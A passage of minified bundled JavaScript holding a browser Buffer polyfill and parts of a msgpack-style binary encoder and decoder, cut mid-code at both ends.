									return 0 === (e = s(e, n))
										.length || t.copy(e, 0, 0, n), e
								}
								if(t) {
									if("undefined" != typeof ArrayBuffer && t.buffer instanceof ArrayBuffer || "length" in t) return "number" != typeof t.length || function (e) {
										return e != e
									}(t.length) ? s(e, 0) : d(e, t);
									if("Buffer" === t.type && o(t.data)) return d(e, t.data)
								}
								throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")
							}(e, t)
						}

						function u(e) {
							if("number" != typeof e) throw new TypeError('"size" argument must be a number');
							if(e < 0) throw new RangeError('"size" argument must not be negative')
						}

						function f(e, t) {
							if(u(t), e = s(e, t < 0 ? 0 : 0 | h(t)), !l.TYPED_ARRAY_SUPPORT)
								for(var n = 0; n < t; ++n) e[n] = 0;
							return e
						}

						function d(e, t) {
							var n = t.length < 0 ? 0 : 0 | h(t.length);
							e = s(e, n);
							for(var r = 0; r < n; r += 1) e[r] = 255 & t[r];
							return e
						}

						function h(e) {
							if(e >= a()) throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x" + a()
								.toString(16) + " bytes");
							return 0 | e
						}

						function p(e, t) {
							if(l.isBuffer(e)) return e.length;
							if("undefined" != typeof ArrayBuffer && "function" == typeof ArrayBuffer.isView && (ArrayBuffer.isView(e) || e instanceof ArrayBuffer)) return e.byteLength;
							"string" != typeof e && (e = "" + e);
							var n = e.length;
							if(0 === n) return 0;
							for(var r = !1;;) switch(t) {
							case "ascii":
							case "latin1":
							case "binary":
								return n;
							case "utf8":
							case "utf-8":
							case void 0:
								return X(e)
									.length;
							case "ucs2":
							case "ucs-2":
							case "utf16le":
							case "utf-16le":
								return 2 * n;
							case "hex":
								return n >>> 1;
							case "base64":
								return U(e)
									.length;
							default:
								if(r) return X(e)
									.length;
								t = ("" + t)
									.toLowerCase(), r = !0
							}
						}

						function A(e, t, n) {
							var r = e[t];
							e[t] = e[n], e[n] = r
						}

						function g(e, t, n, r, i) {
							if(0 === e.length) return -1;
							if("string" == typeof n ? (r = n, n = 0) : n > 2147483647 ? n = 2147483647 : n < -2147483648 && (n = -2147483648), n = +n, isNaN(n) && (n = i ? 0 : e.length - 1), n < 0 && (n = e.length + n), n >= e.length) {
								if(i) return -1;
								n = e.length - 1
							} else if(n < 0) {
								if(!i) return -1;
								n = 0
							}
							if("string" == typeof t && (t = l.from(t, r)), l.isBuffer(t)) return 0 === t.length ? -1 : m(e, t, n, r, i);
							if("number" == typeof t) return t &= 255, l.TYPED_ARRAY_SUPPORT && "function" == typeof Uint8Array.prototype.indexOf ? i ? Uint8Array.prototype.indexOf.call(e, t, n) : Uint8Array.prototype.lastIndexOf.call(e, t, n) : m(e, [t], n, r, i);
							throw new TypeError("val must be string, number or Buffer")
						}

						function m(e, t, n, r, i) {
							var o, a = 1
								, s = e.length
								, l = t.length;
							if(void 0 !== r && ("ucs2" === (r = String(r)
									.toLowerCase()) || "ucs-2" === r || "utf16le" === r || "utf-16le" === r)) {
								if(e.length < 2 || t.length < 2) return -1;
								a = 2, s /= 2, l /= 2, n /= 2
							}

							function c(e, t) {
								return 1 === a ? e[t] : e.readUInt16BE(t * a)
							}
							if(i) {
								var u = -1;
								for(o = n; o < s; o++)
									if(c(e, o) === c(t, -1 === u ? 0 : o - u)) {
										if(-1 === u && (u = o), o - u + 1 === l) return u * a
									} else -1 !== u && (o -= o - u), u = -1
							} else
								for(n + l > s && (n = s - l), o = n; o >= 0; o--) {
									for(var f = !0, d = 0; d < l; d++)
										if(c(e, o + d) !== c(t, d)) {
											f = !1;
											break
										} if(f) return o
								}
							return -1
						}

						function y(e, t, n, r) {
							n = Number(n) || 0;
							var i = e.length - n;
							r ? (r = Number(r)) > i && (r = i) : r = i;
							var o = t.length;
							if(o % 2 != 0) throw new TypeError("Invalid hex string");
							r > o / 2 && (r = o / 2);
							for(var a = 0; a < r; ++a) {
								var s = parseInt(t.substr(2 * a, 2), 16);
								if(isNaN(s)) return a;
								e[n + a] = s
							}
							return a
						}

						function w(e, t, n, r) {
							return R(X(t, e.length - n), e, n, r)
						}

						function v(e, t, n, r) {
							return R(function (e) {
								for(var t = [], n = 0; n < e.length; ++n) t.push(255 & e.charCodeAt(n));
								return t
							}(t), e, n, r)
						}

						function b(e, t, n, r) {
							return v(e, t, n, r)
						}

						function x(e, t, n, r) {
							return R(U(t), e, n, r)
						}

						function B(e, t, n, r) {
							return R(function (e, t) {
								for(var n, r, i, o = [], a = 0; a < e.length && !((t -= 2) < 0); ++a) r = (n = e.charCodeAt(a)) >> 8, i = n % 256, o.push(i), o.push(r);
								return o
							}(t, e.length - n), e, n, r)
						}

						function E(e, t, n) {
							return 0 === t && n === e.length ? r.fromByteArray(e) : r.fromByteArray(e.slice(t, n))
						}

						function k(e, t, n) {
							n = Math.min(e.length, n);
							for(var r = [], i = t; i < n;) {
								var o, a, s, l, c = e[i]
									, u = null
									, f = c > 239 ? 4 : c > 223 ? 3 : c > 191 ? 2 : 1;
								if(i + f <= n) switch(f) {
								case 1:
									c < 128 && (u = c);
									break;
								case 2:
									128 == (192 & (o = e[i + 1])) && (l = (31 & c) << 6 | 63 & o) > 127 && (u = l);
									break;
								case 3:
									o = e[i + 1], a = e[i + 2], 128 == (192 & o) && 128 == (192 & a) && (l = (15 & c) << 12 | (63 & o) << 6 | 63 & a) > 2047 && (l < 55296 || l > 57343) && (u = l);
									break;
								case 4:
									o = e[i + 1], a = e[i + 2], s = e[i + 3], 128 == (192 & o) && 128 == (192 & a) && 128 == (192 & s) && (l = (15 & c) << 18 | (63 & o) << 12 | (63 & a) << 6 | 63 & s) > 65535 && l < 1114112 && (u = l)
								}
								null === u ? (u = 65533, f = 1) : u > 65535 && (u -= 65536, r.push(u >>> 10 & 1023 | 55296), u = 56320 | 1023 & u), r.push(u), i += f
							}
							return function (e) {
								var t = e.length;
								if(t <= C) return String.fromCharCode.apply(String, e);
								for(var n = "", r = 0; r < t;) n += String.fromCharCode.apply(String, e.slice(r, r += C));
								return n
							}(r)
						}
						t.Buffer = l, t.SlowBuffer = function (e) {
							return +e != e && (e = 0), l.alloc(+e)
						}, t.INSPECT_MAX_BYTES = 50, l.TYPED_ARRAY_SUPPORT = void 0 !== e.TYPED_ARRAY_SUPPORT ? e.TYPED_ARRAY_SUPPORT : function () {
							try {
								var e = new Uint8Array(1);
								return e.__proto__ = {
										__proto__: Uint8Array.prototype
										, foo: function () {
											return 42
										}
									}, 42 === e.foo() && "function" == typeof e.subarray && 0 === e.subarray(1, 1)
									.byteLength
							} catch (e) {
								return !1
							}
						}(), t.kMaxLength = a(), l.poolSize = 8192, l._augment = function (e) {
							return e.__proto__ = l.prototype, e
						}, l.from = function (e, t, n) {
							return c(null, e, t, n)
						}, l.TYPED_ARRAY_SUPPORT && (l.prototype.__proto__ = Uint8Array.prototype, l.__proto__ = Uint8Array, "undefined" != typeof Symbol && Symbol.species && l[Symbol.species] === l && Object.defineProperty(l, Symbol.species, {
							value: null
							, configurable: !0
						})), l.alloc = function (e, t, n) {
							return function (e, t, n, r) {
								return u(t), t <= 0 ? s(e, t) : void 0 !== n ? "string" == typeof r ? s(e, t)
									.fill(n, r) : s(e, t)
									.fill(n) : s(e, t)
							}(null, e, t, n)
						}, l.allocUnsafe = function (e) {
							return f(null, e)
						}, l.allocUnsafeSlow = function (e) {
							return f(null, e)
						}, l.isBuffer = function (e) {
							return !(null == e || !e._isBuffer)
						}, l.compare = function (e, t) {
							if(!l.isBuffer(e) || !l.isBuffer(t)) throw new TypeError("Arguments must be Buffers");
							if(e === t) return 0;
							for(var n = e.length, r = t.length, i = 0, o = Math.min(n, r); i < o; ++i)
								if(e[i] !== t[i]) {
									n = e[i], r = t[i];
									break
								} return n < r ? -1 : r < n ? 1 : 0
						}, l.isEncoding = function (e) {
							switch(String(e)
								.toLowerCase()) {
							case "hex":
							case "utf8":
							case "utf-8":
							case "ascii":
							case "latin1":
							case "binary":
							case "base64":
							case "ucs2":
							case "ucs-2":
							case "utf16le":
							case "utf-16le":
								return !0;
							default:
								return !1
							}
						}, l.concat = function (e, t) {
							if(!o(e)) throw new TypeError('"list" argument must be an Array of Buffers');
							if(0 === e.length) return l.alloc(0);
							var n;
							if(void 0 === t)
								for(t = 0, n = 0; n < e.length; ++n) t += e[n].length;
							var r = l.allocUnsafe(t)
								, i = 0;
							for(n = 0; n < e.length; ++n) {
								var a = e[n];
								if(!l.isBuffer(a)) throw new TypeError('"list" argument must be an Array of Buffers');
								a.copy(r, i), i += a.length
							}
							return r
						}, l.byteLength = p, l.prototype._isBuffer = !0, l.prototype.swap16 = function () {
							var e = this.length;
							if(e % 2 != 0) throw new RangeError("Buffer size must be a multiple of 16-bits");
							for(var t = 0; t < e; t += 2) A(this, t, t + 1);
							return this
						}, l.prototype.swap32 = function () {
							var e = this.length;
							if(e % 4 != 0) throw new RangeError("Buffer size must be a multiple of 32-bits");
							for(var t = 0; t < e; t += 4) A(this, t, t + 3), A(this, t + 1, t + 2);
							return this
						}, l.prototype.swap64 = function () {
							var e = this.length;
							if(e % 8 != 0) throw new RangeError("Buffer size must be a multiple of 64-bits");
							for(var t = 0; t < e; t += 8) A(this, t, t + 7), A(this, t + 1, t + 6), A(this, t + 2, t + 5), A(this, t + 3, t + 4);
							return this
						}, l.prototype.toString = function () {
							var e = 0 | this.length;
							return 0 === e ? "" : 0 === arguments.length ? k(this, 0, e) : function (e, t, n) {
								var r = !1;
								if((void 0 === t || t < 0) && (t = 0), t > this.length) return "";
								if((void 0 === n || n > this.length) && (n = this.length), n <= 0) return "";
								if((n >>>= 0) <= (t >>>= 0)) return "";
								for(e || (e = "utf8");;) switch(e) {
								case "hex":
									return M(this, t, n);
								case "utf8":
								case "utf-8":
									return k(this, t, n);
								case "ascii":
									return I(this, t, n);
								case "latin1":
								case "binary":
									return T(this, t, n);
								case "base64":
									return E(this, t, n);
								case "ucs2":
								case "ucs-2":
								case "utf16le":
								case "utf-16le":
									return P(this, t, n);
								default:
									if(r) throw new TypeError("Unknown encoding: " + e);
									e = (e + "")
										.toLowerCase(), r = !0
								}
							}.apply(this, arguments)
						}, l.prototype.equals = function (e) {
							if(!l.isBuffer(e)) throw new TypeError("Argument must be a Buffer");
							return this === e || 0 === l.compare(this, e)
						}, l.prototype.inspect = function () {
							var e = ""
								, n = t.INSPECT_MAX_BYTES;
							return this.length > 0 && (e = this.toString("hex", 0, n)
								.match(/.{2}/g)
								.join(" "), this.length > n && (e += " ... ")), "<Buffer " + e + ">"
						}, l.prototype.compare = function (e, t, n, r, i) {
							if(!l.isBuffer(e)) throw new TypeError("Argument must be a Buffer");
							if(void 0 === t && (t = 0), void 0 === n && (n = e ? e.length : 0), void 0 === r && (r = 0), void 0 === i && (i = this.length), t < 0 || n > e.length || r < 0 || i > this.length) throw new RangeError("out of range index");
							if(r >= i && t >= n) return 0;
							if(r >= i) return -1;
							if(t >= n) return 1;
							if(this === e) return 0;
							for(var o = (i >>>= 0) - (r >>>= 0), a = (n >>>= 0) - (t >>>= 0), s = Math.min(o, a), c = this.slice(r, i), u = e.slice(t, n), f = 0; f < s; ++f)
								if(c[f] !== u[f]) {
									o = c[f], a = u[f];
									break
								} return o < a ? -1 : a < o ? 1 : 0
						}, l.prototype.includes = function (e, t, n) {
							return -1 !== this.indexOf(e, t, n)
						}, l.prototype.indexOf = function (e, t, n) {
							return g(this, e, t, n, !0)
						}, l.prototype.lastIndexOf = function (e, t, n) {
							return g(this, e, t, n, !1)
						}, l.prototype.write = function (e, t, n, r) {
							if(void 0 === t) r = "utf8", n = this.length, t = 0;
							else if(void 0 === n && "string" == typeof t) r = t, n = this.length, t = 0;
							else {
								if(!isFinite(t)) throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");
								t |= 0, isFinite(n) ? (n |= 0, void 0 === r && (r = "utf8")) : (r = n, n = void 0)
							}
							var i = this.length - t;
							if((void 0 === n || n > i) && (n = i), e.length > 0 && (n < 0 || t < 0) || t > this.length) throw new RangeError("Attempt to write outside buffer bounds");
							r || (r = "utf8");
							for(var o = !1;;) switch(r) {
							case "hex":
								return y(this, e, t, n);
							case "utf8":
							case "utf-8":
								return w(this, e, t, n);
							case "ascii":
								return v(this, e, t, n);
							case "latin1":
							case "binary":
								return b(this, e, t, n);
							case "base64":
								return x(this, e, t, n);
							case "ucs2":
							case "ucs-2":
							case "utf16le":
							case "utf-16le":
								return B(this, e, t, n);
							default:
								if(o) throw new TypeError("Unknown encoding: " + r);
								r = ("" + r)
									.toLowerCase(), o = !0
							}
						}, l.prototype.toJSON = function () {
							return {
								type: "Buffer"
								, data: Array.prototype.slice.call(this._arr || this, 0)
							}
						};
						var C = 4096;

						function I(e, t, n) {
							var r = "";
							n = Math.min(e.length, n);
							for(var i = t; i < n; ++i) r += String.fromCharCode(127 & e[i]);
							return r
						}

						function T(e, t, n) {
							var r = "";
							n = Math.min(e.length, n);
							for(var i = t; i < n; ++i) r += String.fromCharCode(e[i]);
							return r
						}

						function M(e, t, n) {
							var r = e.length;
							(!t || t < 0) && (t = 0), (!n || n < 0 || n > r) && (n = r);
							for(var i = "", o = t; o < n; ++o) i += j(e[o]);
							return i
						}

						function P(e, t, n) {
							for(var r = e.slice(t, n), i = "", o = 0; o < r.length; o += 2) i += String.fromCharCode(r[o] + 256 * r[o + 1]);
							return i
						}

						function O(e, t, n) {
							if(e % 1 != 0 || e < 0) throw new RangeError("offset is not uint");
							if(e + t > n) throw new RangeError("Trying to access beyond buffer length")
						}

						function D(e, t, n, r, i, o) {
							if(!l.isBuffer(e)) throw new TypeError('"buffer" argument must be a Buffer instance');
							if(t > i || t < o) throw new RangeError('"value" argument is out of bounds');
							if(n + r > e.length) throw new RangeError("Index out of range")
						}

						function L(e, t, n, r) {
							t < 0 && (t = 65535 + t + 1);
							for(var i = 0, o = Math.min(e.length - n, 2); i < o; ++i) e[n + i] = (t & 255 << 8 * (r ? i : 1 - i)) >>> 8 * (r ? i : 1 - i)
						}

						function _(e, t, n, r) {
							t < 0 && (t = 4294967295 + t + 1);
							for(var i = 0, o = Math.min(e.length - n, 4); i < o; ++i) e[n + i] = t >>> 8 * (r ? i : 3 - i) & 255
						}

						function S(e, t, n, r, i, o) {
							if(n + r > e.length) throw new RangeError("Index out of range");
							if(n < 0) throw new RangeError("Index out of range")
						}

						function q(e, t, n, r, o) {
							return o || S(e, 0, n, 4), i.write(e, t, n, r, 23, 4), n + 4
						}

						function H(e, t, n, r, o) {
							return o || S(e, 0, n, 8), i.write(e, t, n, r, 52, 8), n + 8
						}
						l.prototype.slice = function (e, t) {
							var n, r = this.length;
							if((e = ~~e) < 0 ? (e += r) < 0 && (e = 0) : e > r && (e = r), (t = void 0 === t ? r : ~~t) < 0 ? (t += r) < 0 && (t = 0) : t > r && (t = r), t < e && (t = e), l.TYPED_ARRAY_SUPPORT)(n = this.subarray(e, t))
								.__proto__ = l.prototype;
							else {
								var i = t - e;
								n = new l(i, void 0);
								for(var o = 0; o < i; ++o) n[o] = this[o + e]
							}
							return n
						}, l.prototype.readUIntLE = function (e, t, n) {
							e |= 0, t |= 0, n || O(e, t, this.length);
							for(var r = this[e], i = 1, o = 0; ++o < t && (i *= 256);) r += this[e + o] * i;
							return r
						}, l.prototype.readUIntBE = function (e, t, n) {
							e |= 0, t |= 0, n || O(e, t, this.length);
							for(var r = this[e + --t], i = 1; t > 0 && (i *= 256);) r += this[e + --t] * i;
							return r
						}, l.prototype.readUInt8 = function (e, t) {
							return t || O(e, 1, this.length), this[e]
						}, l.prototype.readUInt16LE = function (e, t) {
							return t || O(e, 2, this.length), this[e] | this[e + 1] << 8
						}, l.prototype.readUInt16BE = function (e, t) {
							return t || O(e, 2, this.length), this[e] << 8 | this[e + 1]
						}, l.prototype.readUInt32LE = function (e, t) {
							return t || O(e, 4, this.length), (this[e] | this[e + 1] << 8 | this[e + 2] << 16) + 16777216 * this[e + 3]
						}, l.prototype.readUInt32BE = function (e, t) {
							return t || O(e, 4, this.length), 16777216 * this[e] + (this[e + 1] << 16 | this[e + 2] << 8 | this[e + 3])
						}, l.prototype.readIntLE = function (e, t, n) {
							e |= 0, t |= 0, n || O(e, t, this.length);
							for(var r = this[e], i = 1, o = 0; ++o < t && (i *= 256);) r += this[e + o] * i;
							return r >= (i *= 128) && (r -= Math.pow(2, 8 * t)), r
						}, l.prototype.readIntBE = function (e, t, n) {
							e |= 0, t |= 0, n || O(e, t, this.length);
							for(var r = t, i = 1, o = this[e + --r]; r > 0 && (i *= 256);) o += this[e + --r] * i;
							return o >= (i *= 128) && (o -= Math.pow(2, 8 * t)), o
						}, l.prototype.readInt8 = function (e, t) {
							return t || O(e, 1, this.length), 128 & this[e] ? -1 * (255 - this[e] + 1) : this[e]
						}, l.prototype.readInt16LE = function (e, t) {
							t || O(e, 2, this.length);
							var n = this[e] | this[e + 1] << 8;
							return 32768 & n ? 4294901760 | n : n
						}, l.prototype.readInt16BE = function (e, t) {
							t || O(e, 2, this.length);
							var n = this[e + 1] | this[e] << 8;
							return 32768 & n ? 4294901760 | n : n
						}, l.prototype.readInt32LE = function (e, t) {
							return t || O(e, 4, this.length), this[e] | this[e + 1] << 8 | this[e + 2] << 16 | this[e + 3] << 24
						}, l.prototype.readInt32BE = function (e, t) {
							return t || O(e, 4, this.length), this[e] << 24 | this[e + 1] << 16 | this[e + 2] << 8 | this[e + 3]
						}, l.prototype.readFloatLE = function (e, t) {
							return t || O(e, 4, this.length), i.read(this, e, !0, 23, 4)
						}, l.prototype.readFloatBE = function (e, t) {
							return t || O(e, 4, this.length), i.read(this, e, !1, 23, 4)
						}, l.prototype.readDoubleLE = function (e, t) {
							return t || O(e, 8, this.length), i.read(this, e, !0, 52, 8)
						}, l.prototype.readDoubleBE = function (e, t) {
							return t || O(e, 8, this.length), i.read(this, e, !1, 52, 8)
						}, l.prototype.writeUIntLE = function (e, t, n, r) {
							e = +e, t |= 0, n |= 0, r || D(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
							var i = 1
								, o = 0;
							for(this[t] = 255 & e; ++o < n && (i *= 256);) this[t + o] = e / i & 255;
							return t + n
						}, l.prototype.writeUIntBE = function (e, t, n, r) {
							e = +e, t |= 0, n |= 0, r || D(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
							var i = n - 1
								, o = 1;
							for(this[t + i] = 255 & e; --i >= 0 && (o *= 256);) this[t + i] = e / o & 255;
							return t + n
						}, l.prototype.writeUInt8 = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 1, 255, 0), l.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)), this[t] = 255 & e, t + 1
						}, l.prototype.writeUInt16LE = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 2, 65535, 0), l.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8) : L(this, e, t, !0), t + 2
						}, l.prototype.writeUInt16BE = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 2, 65535, 0), l.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8, this[t + 1] = 255 & e) : L(this, e, t, !1), t + 2
						}, l.prototype.writeUInt32LE = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 4, 4294967295, 0), l.TYPED_ARRAY_SUPPORT ? (this[t + 3] = e >>> 24, this[t + 2] = e >>> 16, this[t + 1] = e >>> 8, this[t] = 255 & e) : _(this, e, t, !0), t + 4
						}, l.prototype.writeUInt32BE = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 4, 4294967295, 0), l.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24, this[t + 1] = e >>> 16, this[t + 2] = e >>> 8, this[t + 3] = 255 & e) : _(this, e, t, !1), t + 4
						}, l.prototype.writeIntLE = function (e, t, n, r) {
							if(e = +e, t |= 0, !r) {
								var i = Math.pow(2, 8 * n - 1);
								D(this, e, t, n, i - 1, -i)
							}
							var o = 0
								, a = 1
								, s = 0;
							for(this[t] = 255 & e; ++o < n && (a *= 256);) e < 0 && 0 === s && 0 !== this[t + o - 1] && (s = 1), this[t + o] = (e / a >> 0) - s & 255;
							return t + n
						}, l.prototype.writeIntBE = function (e, t, n, r) {
							if(e = +e, t |= 0, !r) {
								var i = Math.pow(2, 8 * n - 1);
								D(this, e, t, n, i - 1, -i)
							}
							var o = n - 1
								, a = 1
								, s = 0;
							for(this[t + o] = 255 & e; --o >= 0 && (a *= 256);) e < 0 && 0 === s && 0 !== this[t + o + 1] && (s = 1), this[t + o] = (e / a >> 0) - s & 255;
							return t + n
						}, l.prototype.writeInt8 = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 1, 127, -128), l.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)), e < 0 && (e = 255 + e + 1), this[t] = 255 & e, t + 1
						}, l.prototype.writeInt16LE = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 2, 32767, -32768), l.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8) : L(this, e, t, !0), t + 2
						}, l.prototype.writeInt16BE = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 2, 32767, -32768), l.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8, this[t + 1] = 255 & e) : L(this, e, t, !1), t + 2
						}, l.prototype.writeInt32LE = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 4, 2147483647, -2147483648), l.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8, this[t + 2] = e >>> 16, this[t + 3] = e >>> 24) : _(this, e, t, !0), t + 4
						}, l.prototype.writeInt32BE = function (e, t, n) {
							return e = +e, t |= 0, n || D(this, e, t, 4, 2147483647, -2147483648), e < 0 && (e = 4294967295 + e + 1), l.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24, this[t + 1] = e >>> 16, this[t + 2] = e >>> 8, this[t + 3] = 255 & e) : _(this, e, t, !1), t + 4
						}, l.prototype.writeFloatLE = function (e, t, n) {
							return q(this, e, t, !0, n)
						}, l.prototype.writeFloatBE = function (e, t, n) {
							return q(this, e, t, !1, n)
						}, l.prototype.writeDoubleLE = function (e, t, n) {
							return H(this, e, t, !0, n)
						}, l.prototype.writeDoubleBE = function (e, t, n) {
							return H(this, e, t, !1, n)
						}, l.prototype.copy = function (e, t, n, r) {
							if(n || (n = 0), r || 0 === r || (r = this.length), t >= e.length && (t = e.length), t || (t = 0), r > 0 && r < n && (r = n), r === n) return 0;
							if(0 === e.length || 0 === this.length) return 0;
							if(t < 0) throw new RangeError("targetStart out of bounds");
							if(n < 0 || n >= this.length) throw new RangeError("sourceStart out of bounds");
							if(r < 0) throw new RangeError("sourceEnd out of bounds");
							r > this.length && (r = this.length), e.length - t < r - n && (r = e.length - t + n);
							var i, o = r - n;
							if(this === e && n < t && t < r)
								for(i = o - 1; i >= 0; --i) e[i + t] = this[i + n];
							else if(o < 1e3 || !l.TYPED_ARRAY_SUPPORT)
								for(i = 0; i < o; ++i) e[i + t] = this[i + n];
							else Uint8Array.prototype.set.call(e, this.subarray(n, n + o), t);
							return o
						}, l.prototype.fill = function (e, t, n, r) {
							if("string" == typeof e) {
								if("string" == typeof t ? (r = t, t = 0, n = this.length) : "string" == typeof n && (r = n, n = this.length), 1 === e.length) {
									var i = e.charCodeAt(0);
									i < 256 && (e = i)
								}
								if(void 0 !== r && "string" != typeof r) throw new TypeError("encoding must be a string");
								if("string" == typeof r && !l.isEncoding(r)) throw new TypeError("Unknown encoding: " + r)
							} else "number" == typeof e && (e &= 255);
							if(t < 0 || this.length < t || this.length < n) throw new RangeError("Out of range index");
							if(n <= t) return this;
							var o;
							if(t >>>= 0, n = void 0 === n ? this.length : n >>> 0, e || (e = 0), "number" == typeof e)
								for(o = t; o < n; ++o) this[o] = e;
							else {
								var a = l.isBuffer(e) ? e : X(new l(e, r)
										.toString())
									, s = a.length;
								for(o = 0; o < n - t; ++o) this[o + t] = a[o % s]
							}
							return this
						};
						var V = /[^+\/0-9A-Za-z-_]/g;

						function j(e) {
							return e < 16 ? "0" + e.toString(16) : e.toString(16)
						}

						function X(e, t) {
							var n;
							t = t || 1 / 0;
							for(var r = e.length, i = null, o = [], a = 0; a < r; ++a) {
								if((n = e.charCodeAt(a)) > 55295 && n < 57344) {
									if(!i) {
										if(n > 56319) {
											(t -= 3) > -1 && o.push(239, 191, 189);
											continue
										}
										if(a + 1 === r) {
											(t -= 3) > -1 && o.push(239, 191, 189);
											continue
										}
										i = n;
										continue
									}
									if(n < 56320) {
										(t -= 3) > -1 && o.push(239, 191, 189), i = n;
										continue
									}
									n = 65536 + (i - 55296 << 10 | n - 56320)
								} else i && (t -= 3) > -1 && o.push(239, 191, 189);
								if(i = null, n < 128) {
									if((t -= 1) < 0) break;
									o.push(n)
								} else if(n < 2048) {
									if((t -= 2) < 0) break;
									o.push(n >> 6 | 192, 63 & n | 128)
								} else if(n < 65536) {
									if((t -= 3) < 0) break;
									o.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
								} else {
									if(!(n < 1114112)) throw new Error("Invalid code point");
									if((t -= 4) < 0) break;
									o.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128, 63 & n | 128)
								}
							}
							return o
						}

						function U(e) {
							return r.toByteArray(function (e) {
								if((e = function (e) {
											return e.trim ? e.trim() : e.replace(/^\s+|\s+$/g, "")
										}(e)
										.replace(V, ""))
									.length < 2) return "";
								for(; e.length % 4 != 0;) e += "=";
								return e
							}(e))
						}

						function R(e, t, n, r) {
							for(var i = 0; i < r && !(i + n >= t.length || i >= e.length); ++i) t[i + n] = e[i];
							return i
						}
					})
					.call(this, n(12))
				}, function (e, t) {
					var n;
					n = function () {
						return this
					}();
					try {
						n = n || new Function("return this")()
					} catch (e) {
						"object" == typeof window && (n = window)
					}
					e.exports = n
				}, function (e, t) {
					for(var n = t.uint8 = new Array(256), r = 0; r <= 255; r++) n[r] = i(r);

					function i(e) {
						return function (t) {
							var n = t.reserve(1);
							t.buffer[n] = e
						}
					}
				}, function (e, t, n) {
					t.FlexDecoder = o, t.FlexEncoder = a;
					var r = n(0)
						, i = "BUFFER_SHORTAGE";

					function o() {
						if(!(this instanceof o)) return new o
					}

					function a() {
						if(!(this instanceof a)) return new a
					}

					function s() {
						return this.buffers && this.buffers.length ? (this.flush(), this.pull()) : this.fetch()
					}

					function l(e) {
						(this.buffers || (this.buffers = []))
						.push(e)
					}

					function c(e) {
						return function (t) {
							for(var n in e) t[n] = e[n];
							return t
						}
					}
					o.mixin = c({
						bufferish: r
						, write: function (e) {
							var t = this.offset ? r.prototype.slice.call(this.buffer, this.offset) : this.buffer;
							this.buffer = t ? e ? this.bufferish.concat([t, e]) : t : e, this.offset = 0
						}
						, fetch: function () {
							throw new Error("method not implemented: fetch()")
						}
						, flush: function () {
							for(; this.offset < this.buffer.length;) {
								var e, t = this.offset;
								try {
									e = this.fetch()
								} catch (e) {
									if(e && e.message != i) throw e;
									this.offset = t;
									break
								}
								this.push(e)
							}
						}
						, push: l
						, pull: function () {
							return (this.buffers || (this.buffers = []))
								.shift()
						}
						, read: s
						, reserve: function (e) {
							var t = this.offset
								, n = t + e;
							if(n > this.buffer.length) throw new Error(i);
							return this.offset = n, t
						}
						, offset: 0
					}), o.mixin(o.prototype), a.mixin = c({
						bufferish: r
						, write: function () {
							throw new Error("method not implemented: write()")
						}
						, fetch: function () {
							var e = this.start;
							if(e < this.offset) {
								var t = this.start = this.offset;
								return r.prototype.slice.call(this.buffer, e, t)
							}
						}
						, flush: function () {
							for(; this.start < this.offset;) {
								var e = this.fetch();
								e && this.push(e)
							}
						}
						, push: l
						, pull: function () {
							var e = this.buffers || (this.buffers = [])
								, t = e.length > 1 ? this.bufferish.concat(e) : e[0];
							return e.length = 0, t
						}
						, read: s
						, reserve: function (e) {
							var t = 0 | e;
							if(this.buffer) {
								var n = this.buffer.length
									, r = 0 | this.offset
									, i = r + t;
								if(i < n) return this.offset = i, r;
								this.flush(), e = Math.max(e, Math.min(2 * n, this.maxBufferSize))
							}
							return e = Math.max(e, this.minBufferSize), this.buffer = this.bufferish.alloc(e), this.start = 0, this.offset = t, 0
						}
						, send: function (e) {
							var t = e.length;
							if(t > this.minBufferSize) this.flush(), this.push(e);
							else {
								var n = this.reserve(t);
								r.prototype.copy.call(e, this.buffer, n)
							}
						}
						, maxBufferSize: 65536
						, minBufferSize: 2048
						, offset: 0
						, start: 0
					}), a.mixin(a.prototype)
				}, function (e, t, n) {
					t.decode = function (e, t) {
						var n = new r(t);
						return n.write(e), n.read()
					};
					var r = n(16)
						.DecodeBuffer
				}, function (e, t, n) {
					t.DecodeBuffer = i;
					var r = n(8)
						.preset;

					function i(e) {
						if(!(this instanceof i)) return new i(e);
						if(e && (this.options = e, e.codec)) {
							var t = this.codec = e.codec;
							t.bufferish && (this.bufferish = t.bufferish)
						}
					}
					n(14)
						.FlexDecoder.mixin(i.prototype), i.prototype.codec = r, i.prototype.fetch = function () {
							return this.codec.decode(this)
						}
				}, function (e, t, n) {
					var r = n(4)
						, i = n(7)
						, o = i.Uint64BE
						, a = i.Int64BE;
					t.getReadFormat = function (e) {
						var t = s.hasArrayBuffer && e && e.binarraybuffer
							, n = e && e.int64;
						return {
							map: c && e && e.usemap ? f : u
							, array: d
							, str: h
							, bin: t ? A : p
							, ext: g
							, uint8: m
							, uint16: w
							, uint32: b
							, uint64: B(8, n ? C : E)
							, int8: y
							, int16: v
							, int32: x
							, int64: B(8, n ? I : k)
							, float32: B(4, T)
							, float64: B(8, M)
						}
					}, t.readUint8 = m;
					var s = n(0)
						, l = n(6)
						, c = "undefined" != typeof Map;

					function u(e, t) {
